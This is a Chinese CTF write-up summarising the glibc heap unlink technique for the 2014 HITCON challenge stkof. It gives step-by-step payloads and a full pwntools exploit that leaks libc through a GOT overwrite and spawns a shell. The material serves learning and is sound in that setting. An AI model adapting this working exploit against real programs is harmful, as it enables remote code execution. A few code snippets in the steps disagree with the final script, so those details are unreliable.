unlink小结 && 2014_hitcon_stkof

暑假学习计划 - 0x02

关于unlink的学习资料以及本例题的wp都很多,本篇主要是做个小总结,内附较为详细的调试图片以便初学者理解

(自从入了堆坑学unlink,到现在差不多一个半月了,真的是死去活来,也怪自己的基础差,现在算是理解一些了,先记下来等以后深入理解后再补充,感谢各位师傅的帮助,尤其是kaka师傅)

先放基础学习链接:

Linux堆溢出漏洞利用之unlink https://www.cnblogs.com/alisecurity/p/5563819.html

Linux堆内存管理深入分析(上半部) http://www.cnblogs.com/alisecurity/p/5486458.html#4032991

Linux堆内存管理深入分析(下半部) https://www.cnblogs.com/alisecurity/p/5520847.html

ctf pwn中的unlink exploit(堆利用) https://bbs.pediy.com/thread-224836.htm

CTF Wiki - unlink https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/

用图形展示堆利用过程 https://veritas501.space/2017/07/25/%E5%9B%BE%E5%BD%A2%E5%8C%96%E5%B1%95%E7%A4%BA%E5%A0%86%E5%88%A9%E7%94%A8%E8%BF%87%E7%A8%8B/

基础知识就是上面这些,然后就拿例题来说吧,2014 HITCON CTF stkof 在CTF Wiki上可以找到

简单分析:

程序具有三个主要功能:

①分配堆块,记作alloc();②编辑堆块内容,记作edit();③free堆块,记作free();

扫描二维码关注公众号,回复: 2545500 查看本文章

利用思路:
(exp中计算了/bin/sh的地址但在本次实际并没有用到)
(由于gdb调试还不是很熟练,下面的图片是多次gdb.attach(p)的结果)
①先分配四个chunk,记作chunk1,chunk2,chunk3,在bss段的地址分别记为ptr1,ptr2,ptr3,ptr4;

alloc(0x50) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3
alloc(0x20) # idx 4

这里写图片描述

②构造payload1编辑chunk2,构造fake chunk,然后free(chunk3),完成unlink chunk2,使ptr2 内容变成 ptr2 - 0x18

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,'A')
payload1 += p64(0x30) + p64(0x90)

edit(2, payload1)
free(3)

这里写图片描述

这里写图片描述
③构造payload2,将ptr1的内容变成free@got,将ptr2的内容变成puts@got,这里要注意,输入的字符是从0x602138处开始,而我们要填充的位置是0x601248和0x602150,所以前0x10个字节应该先被填充

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = 'a'*8+'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)

这里写图片描述

④构造payload3,edit(chunk2),free(chunk2)将free@got的内容修改为puts@plt,free(chunk2)即可泄露puts()函数的真实地址

payload3 = p64(puts_plt)
edit(1, payload3)
free(2)

这里写图片描述

这里写图片描述
⑤然后根据puts()函数的地址求出libc的基地址,进而求出system()函数的地址

puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']

⑥构造payload4,edit(chunk1),将free@got里的内容修改为system_addr

payload4 = p64(system_addr)
edit(3, payload4)

这里写图片描述
这里写图片描述
⑦edit(chunk4),将chunk4内容填充为’/bin/sh\x00’,然后free(chunk4),因为free@got内容已经被修改为system_addr,所以执行即可获取shell

edit(4, '/bin/sh\x00')
free(4)
p.interactive()

这里写图片描述
这里写图片描述

exp:

from pwn import *

# context.log_level = 'debug'
p = process('./stkof')
elf = ELF('./stkof')
libc = ELF('./libc.so.6')

def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')

def edit(idx, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(len(content)))
    p.send(content)
    p.recvuntil('OK\n')

def free(idx):
    p.sendline('3')
    p.sendline(str(idx))

head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10

alloc(0x50) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3
alloc(0x20) # idx 4

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)

free(3)

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = 'a'*8+'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)

payload3 = p64(puts_plt)
edit(1, payload3)

free(2)

p.recvuntil('OK\n')

puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))

print 'puts_addr: '+hex(puts_addr)
print 'system_addr :'+hex(system_addr)
print 'binsh_addr: '+hex(binsh_addr)

payload4 = p64(system_addr)
edit(1, payload4)

edit(4, '/bin/sh\x00')
free(4)

p.interactive()

关于这个题的wp:

https://blog.csdn.net/qq_33528164/article/details/79586902

https://blog.csdn.net/fuchuangbob/article/details/51649353

http://www.binarysec.top/post/2018-03-31.html

猜你喜欢

转载自blog.csdn.net/Pwnpanda/article/details/81369367